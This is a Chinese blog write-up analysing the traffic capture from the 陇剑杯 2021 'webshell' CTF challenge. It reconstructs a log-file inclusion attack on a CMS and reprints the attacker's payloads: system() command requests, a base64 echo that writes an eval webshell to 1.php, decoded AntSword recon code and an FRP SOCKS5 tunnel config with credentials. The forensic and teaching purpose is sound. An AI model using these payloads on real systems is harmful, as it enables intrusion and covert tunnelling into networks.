[陇剑杯 2021]webshell

shr1mp 发布于 17 天前 74 次阅读


这篇博客我以做题的视角先进行复现还原,再以纯粹分析的角度对这个流量进行分析,希望各位大佬们多多批评指正

一问

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客登录系统使用的密码是_。。

初步分析流量,是http协议的攻击,第一问直接搜索

http contains "password"

二问

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客修改了一个日志文件,文件的绝对路径为_。(请确认绝对路径后再提交)。

追踪一问中的http流,发现是第6个流,我们接着分析

(个人分析)登录账号密码后,攻击者在根目录下搜索png文件...由于这里需要找的是修改的文件,所以我们直接过滤出post请求的流量

http.request.method==POST

找到一个路径,

Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"

但是这是相对路径,我们要找的是绝对路径,我们接着往后看post请求,接下来就是执行一些系统指令,在后面一点,有一个echo指令

在这个指令里,可以看到 写入木马:

system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');

所以可以得到我们想要的文件的绝对路径:

/var/www/html/data/Runtime/Logs/Home/21_08_07.log

三问

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客获取webshell之后,权限是__?得到的flag请使用NSSCTF{}格式提交。

先由第二个问有个 ' whoami ' 指令

然后返回的是日志错误信息;

ERR: ...............:./Application/Home/View/default/www-data

其中www-data即为whoami命令的执行结果,表明当前 Web 服务以www-data用户运行。

所以权限是

www-data

四问

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客写入的webshell文件名是_。(请提交带有文件后缀的文件名,例如x.txt)。得到的flag请使用NSSCTF{}格式提交。

前面这里已经找到了

1.php

五问

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客上传的代理工具客户端名字是_。(如有字母请全部使用小写)。得到的flag请使用NSSCTF{}格式提交。

追踪流发现frpc.ini

FRP 工具知识点:

  • frpc 是 FRP(Fast Reverse Proxy)的客户端组件,用于实现内网穿透。
  • .ini 文件通常作为 FRP 的配置文件,包含服务器地址、端口、代理规则等信息。
  • 在渗透测试或攻击场景中,攻击者常上传 FRP 客户端以建立反向代理,突破内网限制。

六问

黑客代理工具的回连服务端ip是_。

在流38中有段

16进制解码:

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

故而找到最终ip:192.168.239.123

七问

黑客的socks5的连接账号、密码是__。(中间使用#号隔开,例如admin#passwd)

根据上述分析可以得知为:0HDFt16cLQJ#JTN276Gp

整个流程分析

借助AI帮我一起分析的,有不好的地方欢迎指正

流6:登录

username=test&password=Admin123!%40%23&expire=0

流7-13:全是get请求,似乎在检索目录?

流14:虽然是post,但是没有直接性攻击

ai分析;
用户操作:上传简历图片 → 触发 OCR 扫描
系统响应:启动扫描任务监听
pid=1:    关联到招聘计划/项目 ID 为 1 的职位

流15-17、18-22:查看PNG+索引根目录(无直接攻击)

流23:这是一个模板注入漏洞攻击,针对 骑士 CMS(QSCMS)company_show 模块。

虽然是404,但是这里的 eval($_REQUEST[a]) 攻击可能部分成功,将恶意代码写入了 ThinkPHP 日志文件

流24:开始攻击,但是反馈是404

variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&a=system('whoami');

流25-28:攻击(不断调试参数),28的时候成功

25:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log
26:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&a=1
27:variable=1&tpl=/r/n
28:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('whoami');

流29-33攻击:

29:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('ipconfig');

30;variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('ifconfig');

31:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('pwd');

32:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d');

33:variable=1&tpl=data/Runtime/Logs/Home/21_08_07.log&aaa=system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');
序号指令作用攻击阶段
29ipconfig探测 Windows 环境信息收集
30ifconfig探测 Linux 环境信息收集
31pwd确认当前工作目录信息收集
32base64 -d测试解码功能准备植入
33base64 -d > /var/www/html/1.php写入后门文件武器化部署

流35:(接下来36、37均以解码形式给出)

aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22bc%22.%220f2%22%3Becho%20%40asenc(%24output)%3Becho%20%22f797e%22.%22322e0%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
URL解码:
@ini_set("display_errors", "0");
@set_time_limit(0);

function asenc($out){
    return $out;
};

function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "bc"."0f2";           // 前缀分隔符:bc0f2
    echo @asenc($output);       // 加密/编码后的输出
    echo "f797e"."322e0";       // 后缀分隔符:f797e322e0
};

ob_start();

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}\t";                // 当前路径 + Tab
    
    if(substr($D,0,1)!="/"){    // Windows 系统
        foreach(range("C","Z")as $L)
            if(is_dir("{$L}:")) $R.="{$L}:";
        $R.="\t";
    }else{
        $R.="/\t";              // Linux 系统
    }
    
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();            // 系统信息
    $R.="\t{$s}";              // 当前用户
    echo $R;                    // 输出:路径  盘符  系统信息  用户名
    
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};

asoutput();
die();

通过@ini_set("display_errors", "0");@set_time_limit(0);发现这是Antsword

另外还可以反应是蚁剑的几个特征:

1、响应包格式由随机数作为定界符包裹结果

2、若使用了加密等插件绕过的话,加密后的数据没用什么特别明显的了,但是蚁剑混淆加密后还有一个比较明显的特征,参数大多以“_0x…..=”这种形式,以_0x开头的参数名,这个可能也可以换其他的固定字符,可以找出规律

36:// 获取当前路径
$D = dirname($_SERVER["SCRIPT_FILENAME"]);

// 判断系统类型(Windows/Linux)
if(substr($D,0,1) != "/") {
    // Windows:枚举 C: 到 Z: 盘符
    foreach(range("C","Z") as $L)
        if(is_dir("{$L}:")) $R .= "{$L}:";
} else {
    $R .= "/";  // Linux
}

// 获取当前用户信息
$u = (function_exists("posix_getegid")) 
     ? @posix_getpwuid(@posix_geteuid()) 
     : "";
$s = ($u) ? $u["name"] : @get_current_user();

// 输出:路径 + 盘符 + 系统信息 + 用户名
$R .= php_uname();
$R .= "\t{$s}";
echo $R;





=================================================================
37:// 获取目录路径(从 POST 参数 j68071301598f)
$D = base64_decode(substr($_POST["j68071301598f"], 2));
        ↓
    去掉前2字符 "wl" → Base64解码 → /var/www/html/

// 打开目录
$F = @opendir($D);

// 遍历目录
while($N = @readdir($F)) {
    $P = $D . $N;                    // 完整路径
    $T = @date("Y-m-d H:i:s", ...);  // 修改时间
    $E = substr(base_convert(@fileperms($P),10,8),-4); // 权限(如 0755)
    $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
    
    if(@is_dir($P)) 
        $M .= $N . "/" . $R;         // 目录收集到 $M
    else 
        $L .= $N . $R;               // 文件收集到 $L
}

echo $M . $L;  // 先输出目录,再输出文件




==============================================================================
38:配置FPR
| 配置项               | 值                     | 说明                |
| ----------------- | --------------------- | ----------------- |
| `server_addr`     | `192.168.239.123`     | **FRP服务端(攻击者控制)** |
| `server_port`     | `7778`                | FRP服务端口           |
| `token`           | `Xa3BJf2l5enmN6ZA8mv` | 连接认证令牌            |
| `[test_sock5]`    | 隧道名称                  | SOCKS5代理隧道        |
| `remote_port`     | `8111`                | 远程监听端口            |
| `plugin`          | `socks5`              | **建立SOCKS5代理**    |
| `plugin_user`     | `0HDFt16cLQJ`         | 代理认证用户名           |
| `plugin_passwd`   | `JTN276Gp`            | 代理认证密码            |
| `use_encryption`  | `true`                | 启用加密              |
| `use_compression` | `true`                | 启用压缩              |

解释:
┌─────────────────┐         ┌──────────────────┐         ┌─────────────────┐
│   攻击者机器     │ ←────→ │  目标服务器(受害) │ ←────→ │   内网其他机器   │
│ 192.168.239.123 │  FRP    │  运行 frpc.ini   │  SOCKS5 │   数据库/域控等  │
│   FRP服务端      │  7778   │  8111端口转发    │  代理   │                │
└─────────────────┘         └──────────────────┘         └─────────────────┘
                    ↑
            通过WebShell写入配置并启动FRP客户端
                    ↓
            建立加密隧道,穿透内网边界




============================================================================
39:在此目录操作
j68071301598f=hML3Zhci93d3cvaHRtbC8%3D
                ↓ URL解码
            hML3Zhci93d3cvaHRtbC8=
                ↓ Base64解码(去掉前2字符"hM")
            /var/www/html/



====================================================================================

小结:攻击者操作流程

时间操作目的
20:35首次尝试模板注入 eval($_REQUEST[a])探测漏洞
20:43-20:48正常业务请求(干扰/掩护)混淆流量
20:51再次尝试模板注入 $_GET['id']持续探测
21:00转向LFI,包含日志文件战术转变
21:12尝试绕过,参数改为 aaa绕过过滤
21:21确认LFI成功(OK vs 404对比)漏洞确认
21:22执行ipconfig/ifconfig/pwd环境探测
21:22植入后门 1.php(Base64解码写入)权限获取
21:25蚁剑连接,信息收集建立控制
21:28-29菜刀尝试连接(干扰或备选)多工具尝试
21:30蚁剑连接(ini_set/set_time_limit持续控制
21:43蚁剑重新连接,收集系统信息信息收集
21:46列目录 /var/www/html/查看文件结构
21:49写入FRP配置 frpc.ini内网隧道准备
21:52再次列目录,确认文件写入验证配置

实际攻击行为分析

  1. 文件操作
  • 目标文件frpc.ini(FRP 客户端配置文件)。
  • 操作类型:通过fwrite(fopen($f, "a"), $buf)追加内容到文件中,实现配置文件的修改或创建。
  1. 内网穿透工具部署
  • FRP 配置内容
[common] server_addr = 192.168.239.123 
server_port = 7778 
token=Xa3BJf2l5enmN6Z7A8mv 
[test_socks5] type = tcp 
remote_port = 8111 
plugin = socks5 
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp 
use_encryption = true 
use_compression = true
  • 功能:建立 SOCKS5 代理,将内网 8111 端口转发到远程服务器192.168.239.123:7778,用于横向移动。
信息收集 → 漏洞探测 → 权限获取 → 权限维持 → 内网渗透
    ↓         ↓         ↓         ↓         ↓
  目录扫描   LFI测试   写WebShell  蚁剑控制   FRP隧道

碎碎念:

这道流量分析题做的好精彩,我在有别人wp而且有AI帮助的基础上复现,用了四个多小时。做这道题的时候太精彩了,第一次做这个那么深的渗透有关的应急题。学到了很多东西,也看出自己对渗透的知识储备太少了而且对操控AI精准完成任务的能力太弱了。。。。依旧”菜就多练“,加油~~~

这个人很菜,但是在学
最后更新于 2026-04-13